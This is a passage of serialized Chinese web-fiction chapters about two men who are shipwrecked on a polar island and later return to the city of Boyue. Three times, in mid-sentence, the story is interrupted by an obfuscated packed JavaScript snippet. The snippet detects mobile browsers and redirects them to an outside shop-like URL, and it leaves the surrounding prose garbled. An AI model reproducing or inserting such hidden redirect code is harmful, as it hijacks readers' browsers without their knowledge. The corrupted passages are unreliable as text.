“我只能切断智能设备对船只的控制,之后就只能手动操控了。”褚月恒话音刚落,自动驾驶模式的灯就灭了。 公山易禾松了口气:“总算没酿成大祸,二位大哥,咱们往回开吧。对了,你们谁方便去检查下船体情况,刚才我们撞了浮冰,看看有没有需要紧急抢修的。” 这话很有道理,一位船员连忙跑出去检查了。 褚月恒完成了自己的任务,他站起来舒展了一下身体,然后抱着手靠在门边说:“禁区水温低,声呐探测系统冻失灵了,你们得在看不到海底浮冰位置和厚度的情况下驾驶。” 刚展露笑脸的船员,表情僵硬的回过头:“对不起,您刚才说什么?” 公山易禾帮着解释道:“他说我们看不到浮冰的位置和厚度,这种情况下,您觉得开回去的胜算有多大?” 褚月恒代替船员回答:“综合仙女冰川禁区的浮冰数量、水温和这条船的性能考虑,我们回不去。” “对不起,您再说一遍?”船员要哭了。 公山易禾皱起眉头:“那我们停留在原地,等待救援?” “恐怕不行了。”刚才出去探查船体情况的船员哭丧着脸进来,“救援队能不能立刻开直升机过来?咱们的船漏水了。” 褚月恒看向外面呼呼刮的北风:“直升机从定北城飞过来至少要三小时,何况是大风天,可能根本飞不了。救援船过来需要破冰,也得一个小时。” 坐在驾驶座上的船员深吸了口气,下定决心:“地图上显示再开十公里有座荒岛,以咱们船的速度,全速前进只需要半小时就能到,时间应该来得及。” 17. 流落荒岛 去一个荒无人烟的岛屿,这个方法太冒险了,众人沉默了几分钟,几分钟里就感觉到船在下沉。 公山易禾发话:“出发吧,去荒岛。” 褚月恒把雨衣穿好,平静的说:“你们开船,我出去看情况。” 船外风很大,夹杂着雨滴,天气并不好。 公山易禾连忙跟了出来:“我陪你一起。” 褚月恒总觉得他们泊岳人都身娇体弱,看公山易禾的脸被冻的发白,下意识就往风口站了站,给他把风挡住。 公山易禾神色复杂的看了褚月恒一眼,那眼神令褚月恒浑身起鸡皮疙瘩:“你看我干嘛?” 公山易禾低头笑了一下:“你害怕吗?” “有点吧。”褚月恒不太确定的说,随后他想起来,公山易禾是他的试验对象,如果试验成功了的话,公山易禾将会是他的好朋友,他应当安抚公山易禾的情绪,顺便展示自己的人格魅力,“别担心,就算船撑不到上岛,我们也有逃生船。” 公山易禾惊讶的问:“这船连半小时都撑不住吗?不会吧?” 褚月恒怀疑自己是不是说错话了,但想了想又觉得,这种危机的情况下,还是讲实话比较好:“从海面上的浮冰数量判断,海底潜藏的冰块厚度是非常大的,在看不到潜藏的浮冰的情况下,船体再次受创是不可避免的。所以,我们大概率坚持不到上岛了。” 公山易禾看向那几只简陋的逃生船,脑子一时半会儿接受不了这件事,心脏也砰砰直跳。 “水上来了,回驾驶室吧。”褚月恒清冷低沉的声线打破了公山易禾的慌乱。 公山易禾恍惚的回过头,直直撞进褚月恒眼神中,他们静默的对视了两秒,冰蓝色冰川从他们身边划过,黑色的海水翻涌,公山易禾在那漆黑的世界里看到了更浩大的叙事,是亿万级别的时间线,是无数生命漫长又神奇的演化。 这些浩渺的、抽象的、遥远的概念最终都化作泊岳博物馆中关于无头石人的记忆,公山易禾感受到一种冰冷且强大的力量瞬间注入了他的心脏。 短短两秒,就让公山易禾恢复了冷静:“好,我们回去吧。” 他们坐在驾驶室里,平静的等待命运的宣判,平静的看着海水漫入船舱。 还剩最后五公里,褚月恒看了看水位,做出决定:“弃船吧。” 再不弃船他们的衣服就湿透了,这么冷的天,会被冻死的。 两位船员缩在椅子上,不确定要不要现在就放弃这艘还算先进的船,去使用那小小的逃生船和冰海搏斗。 公山易禾从仓库掏出雨鞋发给大家:“船上的紧急救生包都拿上,走吧。” 船员们犹豫了一下,从仓库里翻找除了一个陈旧的逃生包。 公山易禾震惊了:“就这一个?” 船员尴尬的点点头:“没事儿的,咱们上岛后,他们很快就会来救咱们,没有救生包也没关系。”说完后就连忙把救生包背在了自己前胸护住。 公山易禾轻轻叹了口气,表情有些尴尬,不知道该怎么处理这个情况,就在他打算用高情商的方式让船员把包里的东西分一分时,褚月恒从仓库里拎出来一个空袋子。 默默把驾驶室里放着的水果刀、打火机和闲置的军大衣都搜刮到了自己的背包里。 船员们看着褚月恒搜刮他们的东西,神情有点尴尬,还有点不悦,但谁也不敢说什么来触褚月恒的霉头,褚月恒这种把‘精神状态可疑且攻击性强’写在脸上的人,大家都是能不招惹就不招惹。 两位船员更加紧张的护住自己的逃生包,害怕褚月恒搜刮完他们的东西后,再来把他俩一人一脚踹进冰海,杀人夺宝。 公山易禾却松了口气,帮着褚月恒收拾了几件东西。 不知为什么,公山易禾不像别人那样觉得褚月恒可怕,他甚至认为褚月恒看上去脾气挺好的,只要在褚月恒身边,他就莫名感到放松和安全。 如果非要说出个理由的话,那公山易禾也可以拿出可信的理由。理由就是褚月恒非常理智,哪怕在生死一线的时候、或者和男友分手陷入悲伤的时候,他的情绪都在理智控制范围内。 公山易禾能感觉到,褚月恒能分清情绪和客观世界,并把二者剥离开。不会情绪一上头就陷入极端思维,像小孩一样任性大闹,把事情无限放大,对人不对事,疯狂解决人但不解决事。 比起那些看似温柔和善,但情绪上头后不管不顾的人,自顾自陷入极端思维想要毁灭一切的人,公山易禾还是信赖褚月恒这种人。 在他们泊岳权贵圈子里,有很多衣冠楚楚、风度翩翩的假绅士,他们披着绅士的皮,骨子就是被宠坏的小孩,作为出生在权力之巅的男性,他们习惯用权力和暴力解决问题,一旦遇到二者无法解决的问题,就会像个小孩一样瞬间撕破文明的假皮,爆发无能狂怒,行为失去控制。 他们丝毫没有处理情绪的能力,心智脆弱、不成熟。 褚月恒和他们完全不同,褚月恒坚韧、冷静、深邃、可靠。 公山易禾想,也许这就是清棠迷恋褚月恒的原因。 就在公山易禾胡思乱想的时候,褚月恒把刚搜刮的救生衣递给公山易禾。 公山易禾连忙道谢,刚把救生衣穿好,褚月恒又递过来一个游泳圈,这是旅游船上的装饰品,被褚月恒卸下来了。 公山易禾看游泳圈只有一个,连忙说:“你戴吧。” 褚月恒不习惯与人推辞客气,可他又怕他那娇嫩的泊岳好朋友被淹死:“你穿。” 公山易禾还要说什么,就见褚月恒直勾勾的看着他,有点可怜巴巴的。 公山易禾只能接过游泳圈戴上,然后笑着说:“你这是什么表情,好像我欺负了你似的。” 褚月恒有点尴尬,红着脸快走了几步,所以他没看到公山易禾盯着他的眼神,满眼都是要溢出来的喜爱。 他们坐上逃生小船,顶着暴雨和大风艰辛的往前划,五公里的距离,平时他们跑步健身随随便便也就跑完了,而现在却觉得实在是太遥远了。 经历千辛万苦,终于爬上了小岛。 这岛上的积雪还没化开,打眼一看,一片荒凉,没见到北极熊之类的动物活动,只看到遥远的山上有些不知名的鸟类在飞。 就在褚月恒和公山易禾观察地形的时候,两位船员已经悄悄带着救生包跑了。 公山易禾瞥了他们一眼:“我们要追他们么?” 褚月恒摇摇头:“别担心,我们下船前已经发了求救信号,救援队很快就会过来,我们不需要他们帮助。” “好,那我们就在这儿等着?”公山易禾找了块石头,把上面的积雪扫了扫,坐下了。 褚月恒注意到他走路有点一瘸一拐的:“你的腿,是不是刚才遇到大浪的时候撞到了?” 公山易禾揉了揉膝盖:“不严重,就是有点淤血。” 褚月恒皱起眉头,他本就长得冷,皱起眉头看上去还挺吓人的。 公山易禾半开玩笑的说:“你不会也跑掉吧?” “不会的。”褚月恒的表情平静而认真,“还是简单包扎一下吧,万一有轻度骨裂但你没感觉到,走路会加重。” 公山易禾低头看褚月恒认真的给他包扎伤腿,自然而然的看到了褚月很手上握笔处留下的茧子。 公山易禾微微歪头,感觉自己能脑补到褚月恒办公时的样子。他发现褚月恒其实有股书卷气,只是第一眼不容易看出来。 褚月恒长得冷峻高大,表情又总是拒人千里之外的样子,大家见到他第一反应就是害怕、自卑,自然也不敢近距离、不带偏见的、认真的观察他。 可是只要放下偏见、自卑和恐惧,认真去观察他,就会发现他本质上是个挺温文尔雅的人,还有一点点书呆子气质,当然,是现在年轻人喜欢讲的那种‘性感的书呆子’。 褚月恒感觉到公山易禾的视线越来越灼热,他紧张的手忙脚乱,胡乱把包扎弄好,然后听到公山易禾的轻笑。 褚月恒感觉自己的脸烧起来了:“那个,我去找点树枝点火。” “别走太远,森林里危险。”公山易禾在他身后喊道。 褚月恒抿了抿嘴,不知道该不该回答公山易禾的嘱咐,按照他的性格,他不会大老远喊着回复别人的话的。 033在旁边笑着说:“公山教授叫你别走太远,结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271797|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你脚步飞快往森林里冲,不听话哦。” 褚月恒一下定在原地,然后又飞快的走了起来:“我为什么要听他的话?” 033纵容道:“好吧,不听他的。你不是要找树枝么?刚才那儿有一堆,你走过了。” 褚月恒面无表情的返回来,抱着一捆树枝又飞快的跑回公山易禾身边。 公山易禾站起来接过树枝:“别着急,大雪天跑这么快小心摔了。” “忘给你留武器了。”褚月恒从包里掏出一根伸缩钩子,“这个比较长,好用。” 没等公山易禾说话,褚月恒又把打火机给他:“你负责生火。” “月恒,在吗?月恒,在吗?”褚月恒的卫星电话里响起杨铎断断续续的声音。 “出事了?”褚月恒拿出卫星电话,皱起眉头,一般情况下,卫星电话的信号是不会断断续续的,应该是出现极端天气了。 杨铎焦急的说:“仙女冰川出现海雾,暂时无法行船,救援队最早明天凌晨才能过去救援。” 公山易禾下意识看向褚月恒,这还是他第一次遇见危急情况时,第一反应是去依赖别人。 “你现在立刻走程序申请调用潜水器,明天上午海雾不散你就让他们开潜水器来接我们。”褚月恒不容拒绝的说。 杨铎连忙答应:“好的,我现在打申请,争取今晚就批了,明天情况不妙我立刻调用,劳烦您和公山教授坚持一晚了。” 潜水器是他们的王牌设备,只在划定的秘密海域使用,私人调用要走的手续非常繁琐,而且潜水器目前在实验室里调整,把潜水器运到冰海边也需要时间。所以,今晚他们肯定只能在荒岛上度过了。 挂断电话后,褚月恒第一反应就是安抚公山易禾,也许是因为他下意识将戚清棠的某些特质与泊岳人画了等号,所以认为公山易禾一定会害怕吧。 “别担心,我会努力的,坚持一晚难度不大。”褚月恒认真地说,他仔细观察着公山易禾的表情,企图读懂公山易禾的情绪。 可他从公山易禾的脸上没看到慌乱和怨怼,只有令他看不懂的表情,那表情很温暖,让他莫名感到心慌、感到不敢靠近。 “我们能取暖,还有水喝,坚持一晚当然不是问题。”公山易禾客观的说,“不过,月恒,你的镇定还真是令我大开眼界,你以前遇到过类似事情么?” 褚月恒莫名感到有些尴尬,不敢去看公山易禾的眼睛:“那倒没有,我只是有一些在雪山里工作的经验,我先去找点吃的。” 说完后便落荒而逃。 没过一会儿,褚月恒拎着几个被火焰熏黑的北极兔回来了。他虽然不像族人那样擅长捕猎,但曾读过泊岳先贤写的兵法书,利用火把和陷阱很轻松的就抓到了又肥又蠢的兔子。 成功捕猎令褚月恒信心大增,他父亲总说他是残次品,在北宁族依靠捕猎生存的年代,他就该被扔到森林里让狼吃掉。 但事实上,他就算流落荒岛,也照样可以靠智慧养活自己。 信心大增的褚月恒找公山易禾要来小刀,准备像北宁先辈一样,给北极兔削皮剔骨。褚月恒自信满满的一刀下去,腥气的血液溅了他一脸。 褚月恒有点尴尬的瞥了一眼在一旁观看的公山易禾,然后缓缓放下小刀,不知所措的擦了擦脸。猩红的血液被他擦得满脸都是,黑曜石般漂亮的眼睛带着尴尬和羞涩,有点不好意思的背过身去。 就在褚月恒祈祷公山易禾没有注意他的时候,带着公山易禾身上香水味的手帕轻轻抚上了他的脸,公山易禾的声音还是那么温柔、纵容:“低头,我看看有没有溅到眼睛里?” 褚月恒乖乖低下头,任由公山易禾用他特有的温柔的手法帮他擦脸。 “这种事该叫我的,解刨兔子我在行啊。”公山易禾忍不住点了一下褚月恒的鼻尖,“你戳到兔子的大动脉了知道吗?别什么都自己干,我们一起商量着不是更好么?” 这话好像很有道理,褚月恒懵懂的点点头。 公山易禾哭笑不得,刚遇见褚月恒时还觉得他自私自利,心机深不可测,可这越相处,就越觉得他清纯可爱、需要被照顾,他的心被萌的蠢蠢欲动。 18. 春三月 褚月恒羡慕的看着公山易禾刀法娴熟的把兔子处理干净,又利落的削了个木棍,把兔子肉穿上烤好。 “看镜头!” 褚月恒拿着烤好的兔子肉迷茫的抬头,发现公山易禾正拿着相机对着他:“拍我吗?” “不可以么?”公山易禾笑眯眯的问。 “可以。”褚月恒不知所措的低头继续吃东西,吃了两口突然说,“我也很会拍照的。” 戚清棠给他训练出来了,现在他知道用什么角度能把人拍的好看了。 褚月恒的话音刚落,公山易禾就突然凑到了他身边,距离太近以至于他们能感受到彼此身上的热量。 “难得流落荒岛一次,我们来录视频吧。”公山易禾把相机转过来对着他俩。 褚月恒试探着举起剪刀手,然后听见公山易禾在他耳边低笑,笑的褚月恒的汗毛都要炸起来了,褚月恒悄悄坐的离公山易禾远了一点。 公山易禾偷笑了一下:“唉,好像有风。” 然后他就看着褚月恒又悄悄凑到了他身边。 可就算他们离得很近,公山易禾还是觉得褚月恒看上去有些孤独,或者说,是他自己无法更亲近褚月恒,所以感到孤独。 这种渴望不被满足的感觉,在夜晚时被化解了。 为了取暖,他们把外套合在一起裹住,他们身前是火把,背后是巨石,减少了被猛兽偷袭的风险。 和公山易禾紧紧贴在一起,褚月恒僵直着身子,警惕的看着四周,根本睡不着。 公山易禾又举起相机:“记录一下咱俩的倒霉样儿。” 褚月恒只能从外套里伸出手,又比了个剪刀手,然后他又听到了公山易禾放肆的大笑。 褚月恒以为公山易禾在嘲笑他,于是他在外套包裹里默默转了个身,背对着公山易禾,开始默默思考和朋友闹矛盾了该怎么表达自己的不满。 “我以前去森林野营的时候,半夜和好友约好她守前半夜,我守后半夜,”公山易禾还在活力十足的聊天,丝毫没意识到褚月恒已经有小情绪了,“结果我半夜从睡袋中醒来,看见一只穿山甲正抱着我,我的好朋友正忙着烧火,对这一切一无所知。” 褚月恒心里更不爽了,虽然他知道公山易禾一定有很多很多朋友,可知道归知道,他还是忍不住觉得心里不是滋味。 原来这种流落荒岛的经历,对他来说也不是独一无二的,他和其他人经历过更好玩的事情。 意识到自己交朋友还没成功,就已经开始吃醋,褚月恒突然就不想再交朋友了。 他本就不爱与人废话,独占欲又强。和戚清棠的关系才是最适合他的,他只需要一个完完全全属于他的戚清棠,不需要在其他人、其他关系上浪费时间。 虽然戚清棠愚蠢又无聊,但戚清棠明明确确说过,在这个世界上最喜欢的就是他,并且用无私地奉献证明了这一点。 “月恒,你困了么?”公山易禾半天没等到褚月恒接话,关心的伸手想摸褚月恒的额头,“没冻着吧?” 褚月恒躲开公山易禾的手,恢复了沉默寡言的冰块状态:“没有。我守前半夜,你睡吧,我不会让动物靠近的。” 公山易禾凑到褚月恒身边,认真的观察褚月恒的表情:“你生气了?” 褚月恒皱起眉头,微微把公山易禾推开:“没有,您睡觉吧。” 公山易禾被推开也没计较,只是微微歪头看着褚月恒:“你生气了,我怎么睡得着?” 褚月恒有些不耐烦的说:“我没生气。” 公山易禾再次试探着靠近褚月恒,他看到褚月恒的眉头皱得更深了,浑身上下都写满了排斥。之前他试探着搂褚月恒的胳膊,褚月恒都只是僵硬了一下,没有拒绝,为什么突然就连靠近都不让了? 公山易禾反思了一下自己刚才的言行,实在是想不出自己哪句话说的有问题。既然想不出,那就一句一句的试探好了,反正他绝对不会让褚月恒带着对他的不满过夜的。 “你不喜欢拍照?”公山易禾扯着褚月恒的袖子,“我只是想留个纪念,把视频剪辑到我的人生vlog里,如果你不喜欢我就删掉。” “我无所谓,您随意。”褚月恒客客气气的回答。 公山易禾继续试探:“那……对不起,我不该在拍照的时候笑,我就是感觉和你待在一起很快乐、很放松,就忍不住笑了。你想啊,我们明明这么倒霉,流落在极地的荒岛上,可我却有种度假的欢快感,还兴致勃勃的拍vlog,这是不是特别好笑?” 褚月恒抿了抿嘴,点点头。 公山易禾眼睛一亮,再接再厉的说:“只要我们待在一起,就算是流落极地的荒岛也是有滋有味的,这简直是我经历过得最刺激、充实的旅行了。月恒,有你陪伴真是太好了。” 这话太直白了,褚月恒只感觉自己的脸颊到耳后都在烧,他小心翼翼的回头,看到公山易禾正看着他笑,那笑容让褚月恒尴尬的不敢抬头去看。 “月恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271798|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那你觉得你玩的开心吗?”公山易禾又扯了扯褚月恒的袖子。 褚月恒犹豫着微微点了点头。 公山易禾的眼睛立刻亮了起来,原本可怜巴巴只敢扯褚月恒袖子的手立刻得寸进尺的揽住褚月恒的肩膀:“那你别生我气了,原谅我吧,就看在我们面对灾难时,配合的这么默契的份儿上,原谅我,好不好?” “嗯。”褚月恒红着脸应了一声,后知后觉的发现自己有点小心眼,还有点幼稚。 见褚月恒被自己三言两语就哄好的样子,公山易禾的手蠢蠢欲动,超想摸摸褚月恒的脸,但他暂时没胆子这么做,于是他只能解馋似的轻轻摸了摸褚月恒的肩膀:“那你先睡吧,我来守夜。” “我睡不着,你睡吧。”褚月恒变扭的把刚才转过去的身子又转了回来,和公山易禾朝着一个方向,肩并肩。 “我也睡不着。”公山易禾放松的靠在褚月恒身边,抬起头,然后惊喜的说,“夜空好美。” 褚月恒学着公山易禾的样子放松的半躺着,抬头去看那片他看了二十来年的夜空。浩渺而深邃的极地星空,和他儿时提着煤油灯在冰海边游荡时看到的一模一样。 世界真的很有趣,同一片天空,不同的时空下,一个人的心境居然会产生那么大的变化。褚月恒开始思考世界的第四个维度到底是时间还是空间,又或者作为三维生物,他们能感知到的第四维度是时间,而事实上第四维度其实是空间? 如果褚月恒的好奇心是燃烧过后的灰烬,那现在灰烬中就复燃起了一点微弱的火星。 极地凌冽的北风带着古老冰川的凉意吹过,带着公山易禾身上柑橘和薄荷混杂的香水味,平白为古老神秘的极地带来一丝泊岳奢华的风味。 褚月恒发现自己似乎能欣赏到生命的美丽了,就连黑色的海水中漂浮的冰块都看上去别有风味。他看到的、听到的、感受到的,这一切组成了这个特别的夜晚,哪怕在寒冷的荒岛,他似乎也能清晰的闻到立春时定北城春暖花开的味道。 “现在这个季节,泊岳的花应当都开了,岳阳湖中的银鸥也该出来觅食了。”公山易禾慵懒的说,“夏天是泊岳的旅游旺季,咱们下周回泊岳正好是赶上了好时节,我可得带你好好玩玩。” “我们是去工作的。”褚月恒语调没什么起伏的说。 “工作之余也可以玩。”公山易禾笑眯眯的说。 褚月恒十分费解,不懂公山易禾玩心这么重,是怎么取得这么大成就的。 19. 回泊岳 定北医院里,一夜没联系上褚月恒的戚清棠盯着空空荡荡的聊天界面,眼眶泛红:“褚月恒,你以为我还会忍受你的冷暴力吗?” 说完后,在病号服外面套了个羽绒服,拿着手机,转身跑出了病房。 等戚奶奶带着鸡汤来探病的时候,被子里的热气都散了。 褚月恒和公山易禾正坐在救援船上欣赏清晨的冰海,海上的雾气还未散透,恍若仙境。 “月恒,你有没有感觉在海雾里,世界上就像只剩下自己一个人一样?”公山易禾兴致勃勃的举着照相机,试图调出一个合适的参数把这美景记录下来,“我看见仙女冰山了,有海雾做纱,她就像真的仙女下凡一样。” “我能看见你,你看不见我么?”褚月恒一个一个回应着公山易禾的话,“确实像仙女。” “刚才雾气最大的时候,我看不见你,现在能看见了。”公山易禾突然转过身,飞快的给褚月恒拍了张照片,“感谢我吧,我拍出了你的人生照片。” 褚月恒纳闷的问:“什么是人生照片?” 褚月恒问的这么认真,公山易禾有点不好意思胡扯,只能回答:“我也不知道,应该就是拍的特别棒的意思,你看我拍的你,太好看了,可以上《国家地理》封面的程度。” 褚月恒随意看了一眼:“全是雾气,都看不全脸。” 公山易禾哭笑不得:“这叫艺术,你懂不懂!杨铎,你来看看我拍的。” 杨铎一看,眼睛都亮了:“公山教授,您给我也拍一张吧。 公山易禾刚想解释这要讲究天时地利人和,就听见自己的手机‘叽里呱啦’的一通响。 杨铎解释道:“咱们已经到了有信号的区域,您积攒了一晚上的消息全冒出来了。” 公山易禾最近没什么急事,他的同事和好友都没给他打电话,只是发了些不用急着回应的消息。未接电话全来自家里,他弟弟和奶奶轮番电话轰炸他,打了十几通。 戚清棠还在不停的给他发消息:“哥,你从前天晚上开始就不回我消息了,是生我的气了么?你问我是需要褚月恒本人,还是想象中的他,这话是什么意思?是不是我太笨了,让你失望了……” 等等,乱七八糟一堆话,总之,中心思想就是让公山易禾别不搭理他。 公山易禾叹了口气,发消息:“我没生气,我这两天在极地玩,手机没信号了。奶奶说你不见了,去哪儿了?” 戚清棠立刻回复说他回泊岳的公山庄园了。 公山易禾想到被戚清棠扔在定北城担惊受怕的爷爷奶奶,想教育戚清棠懂事些,但转念一想,戚清棠现在病着,精神上还受了刺激,顾不上二老也正常:“那你在家好好休息,我今晚就带爷爷奶奶回家。” 戚清棠在那边委屈兮兮的解释褚月恒伤了他的心,又冷暴力他,他一时气愤才跑的。 公山易禾心情复杂,都有点想替褚月恒解释他们昨晚正惨兮兮的流落荒岛,现在又冷又饿,除了心情好,其他哪里都不好。 而且心情好的是他,他不知道褚月恒是不是和他一样觉得昨晚的经历很有趣,毕竟他昨晚都把褚月恒惹生气一次。 这么一想,公山易禾下意识去观察褚月恒的表情,发现褚月恒正面无表情的看手机,心情不太好的样子。 褚月恒看到戚清棠今早给他的发的消息:你以为我还会忍受你的不回应么?褚月恒,到此为止吧,我不会在原地等你。 褚月恒有些慌乱的思考了半天,总算是梳理好了挽回戚清棠要用的台词,也终于平复了心中的慌乱:“公山教授,我今晚需要飞一趟泊岳。” 公山易禾神色复杂的看了褚月恒一眼,然后缓缓舒了口气,说:“巧了,我也是,我们一起走吧,订下午那趟从定北飞的飞机。” 褚月恒犹豫了一下,想不到拒绝的理由,只能答应了。他的心情因为戚清棠的消息而莫名变得很糟糕,他不希望公山易禾因此看到他不好的一面,为了打起精神应付公山易禾,他决定暂且不想戚清棠。 至少从定北飞泊岳的这三个小时不能想。 飞机上,公山易禾忙着照顾家里的老头儿老太太,戚奶奶小心翼翼的看了褚月恒一眼:“易禾,那是你同事吗?看上去不像是好人啊。” 戚爷爷附和道:“长得就不太吉利的样子。” 公山易禾冷冷的看着这对儿小老头小老太太:“别瞎说,要讲礼貌!” 他俩立刻就不敢说话了。 公山易禾是爹妈亲自带大的,和爷爷奶奶不熟。这俩贫苦了一辈子的老头儿老太太,靠着儿子在晚年实现了阶级跨越,因此很是得意了一阵子,做了很多糊涂事,为了不被他们拖累,公山易禾对他们的管控很严厉。 与此同时,戚清棠打开公山家坐落在岳阳湖边的老宅的大门,脸色立刻沉了下来:“谁允许你来这儿的?” 沙发上的女人回头,张扬浓密的黑色卷发纷飞,红宝石般浓烈夺目的美貌令客厅蓬荜生辉:“小清棠,好久不见。” 这是他母亲的新情人,去年刚刚摘得影后桂冠的魏明锦。 魏明锦和戚砚琛年轻时一样,用美貌统一了全球的审美,靠着一张脸一炮而红。但是和戚砚琛不一样,魏明锦有文学博士学位,还真的会演戏,很快就证明自己不是徒有其表的花瓶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271799|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美丽这个东西,主观又客观。戚清棠就没有这种靠着脸就能迷倒全世界的本事。 戚清棠的五官已经是上天完美的造物了,和戚砚琛那张风靡全球的脸有八分相似,甚至还比戚砚琛更精致几分。可戚砚琛风靡全球、令观众一见难忘的,还就是那几份不完美的性感,是儿时调皮在眼角留下的浅红色的疤痕,是见惯风浪后那种成熟世故的危险气质。 魏明锦的美则是锋锐的、盛气凌人的,就像坚硬夺目的红宝石。戚清棠认为她的脸和她本人恶劣性格十分不相称。 戚清棠和她在一个剧组工作过,亲眼见到她因为和她搭戏的演员背不上台词而用高跟鞋踹人。 所以看到这个危险、野蛮的女人,戚清棠下意识后退了几步:“你不该来这儿,这是我和哥哥长大的地方。” “是公山先生请我来的。”魏明锦笑的灿烂极了,她从沙发上站起来,穿着九厘米的鳄鱼皮高跟鞋,比戚清棠还高半个头,火辣的吊带裙没能掩盖住她胳膊上打网球留下的肌肉,戚清棠突然想起新闻说她曾一巴掌打飞场务一颗牙。 魏明锦从包里掏出一沓剧本:“你哥哥说让我照顾照顾你的演艺事业,作为你们的小妈,我对你们都抱有慈母般的关怀,你哥哥既然开口了,我就一定要把事办好。这不,我找来了几本适合你的剧本,你好好挑挑吧。” 戚清棠皱起眉头:“我不需要你照顾,你请回吧,还有,你不是我的……小妈。” “为什么?”魏明锦眼中流露出几分居高临下的不耐,“你还想继续演你的那些垃圾剧本?好好看看我给你挑的角色,虽然不是主角,但全是大制作,比你那些不知所谓的东西上档次多了。” 戚清棠被气笑了:“我想我有拒绝你的资格吧。剧本好不好先不论,我只是单纯不想和你扯上关系。” 魏明锦了然的点点头,用一种令戚清棠及其不舒服的眼神上下打量了他一圈,然后笑着抽出一个剧本扔给他:“其他剧本我都有把握让你拿到角色,这本得靠你自己,收下吧,就当是我替你亲妈送你的儿童节礼物。” 说完后,魏明锦没给戚清棠拒绝的机会,拿起包就离开了。 戚清棠注意到自家园丁、管家、保洁等一群人都在用迷恋的眼神目送魏明锦的背影。 戚清棠无奈的叹了口气:“母亲为什么会看上这种品德败坏的女人!” 旁边的管家忍不住心里吐槽:那不是很正常,之前她看上你爹,你爹和遛狗保姆在自家卧室睡觉唉。 再说,他们夏国近百年爆火的演员全都是这种霸道凌厉、私德有亏的类型,可以看出他们夏国人民的审美就是这样专一又扭曲。 20. 公山庄园 “你早该分手了,那狐狸精要钱没钱,要情绪价值没情绪价值,你留着他卖废品吗?我跟你说,我前阵子吃到了个大瓜,蒋则锋和你表妹闹掰了。当初她死皮赖脸要和人家联姻,现在又嫌人家对她态度不好,她不懂什么是强扭的瓜不甜吗?” 戚清棠的发小洛星临盘着腿坐在沙发上小嘴叭叭的输出。 戚清棠愣了一下,他好久没听到蒋则锋这个名字了。 他和蒋则锋也算是一起长大的,蒋则锋家是政坛权贵,比他家还要显赫,因此他经常被人们视为蒋则锋的跟班,他不喜欢被人这样看待,于是渐渐疏远了蒋则锋。 谁知蒋则锋在被他疏远后,反倒对他更上心了,总在他遇到麻烦时帮助他、照顾他,于是他和蒋则锋成为了好哥们。 青少年时代,他不是没对蒋则锋产生过其他感情,但从蒋则锋开始男女不忌的瞎玩后,他的那点心思就立刻消散了。 他们高中毕业那年,蒋则锋对他告白了,他看着蒋则锋俊美锋锐的眉眼,又想到他那乌七八糟的花边新闻,还是选择和蒋则锋做好哥们而不是情侣。 从那之后,他们之间一直维持着亲密的友谊,直到他表妹和蒋则锋订婚后,他们才被迫不再联系。 曾经他还时常想起蒋则锋,怨自己表妹太过霸道不讲理。 但和褚月恒在一起后,他就没再想起过蒋则锋了。 事实上,和褚月恒在一起那六个月,他几乎把泊岳的一切人和事都抛在了脑后,什么蒋则锋、洛星临、父亲、母亲、爷爷奶奶都几乎没在他脑海里出现过,他唯一还记得要联系的只有公山易禾这位他最敬爱的亲哥,联系亲哥还多半是因为遇到了困难需要支援。 戚清棠自嘲的笑了笑:“我真是太疯了,怎么能把真正在乎自己的人都晾在一边?好在他们都没有怪我。” 就在这时,门口传来争吵声。 “呦,我的腿没膈着您的脚吧。” 褚月恒放下敲门的手,低头一看,他脚旁边有一坨黑影:“你是?” 那坨黑影抬起头,路灯打在她脸上,一双金棕色的大眼睛扑闪扑闪的满是无语:“您还真是目下无尘,余光都不带往地面扫的吗?” 褚月恒还第一次见有人这样讲话,也不知道这是叫幽默还是叫阴阳怪气: “对不起,你是走丢了?我带你去找你爸爸妈妈?” ‘小女孩儿’摇摇晃晃的站了起来,手里还拿着一瓶空了一半的洋酒,她脑袋能到褚月恒下巴的位置,这身高和她的脸非常不适配,“这满山就公山家一户,我当然是来找人的。” “这里是公山家?”褚月恒眼中闪过一丝惊异,他按照和戚清棠的公用定位软件追到这里,只以为这是戚清棠家。 ‘公山’这姓氏可不常见,能在市中心拥有一座山顶豪宅的公山家更是不多,小小一个泊岳总不能有两家姓公山的豪门,褚月恒隐约意识到了些什么。 “你不知道这儿是哪儿就过来?”小姑娘抬起头哈哈大笑了几声,“那你可是撞到火坑里了。” 褚月恒沉默的看着眼前的女孩儿,拿不准她到底多大年纪,到底是个女人还是女孩儿。 “你也是个小演员?”小姑娘眯着眼睛凑过来打量着褚月恒。 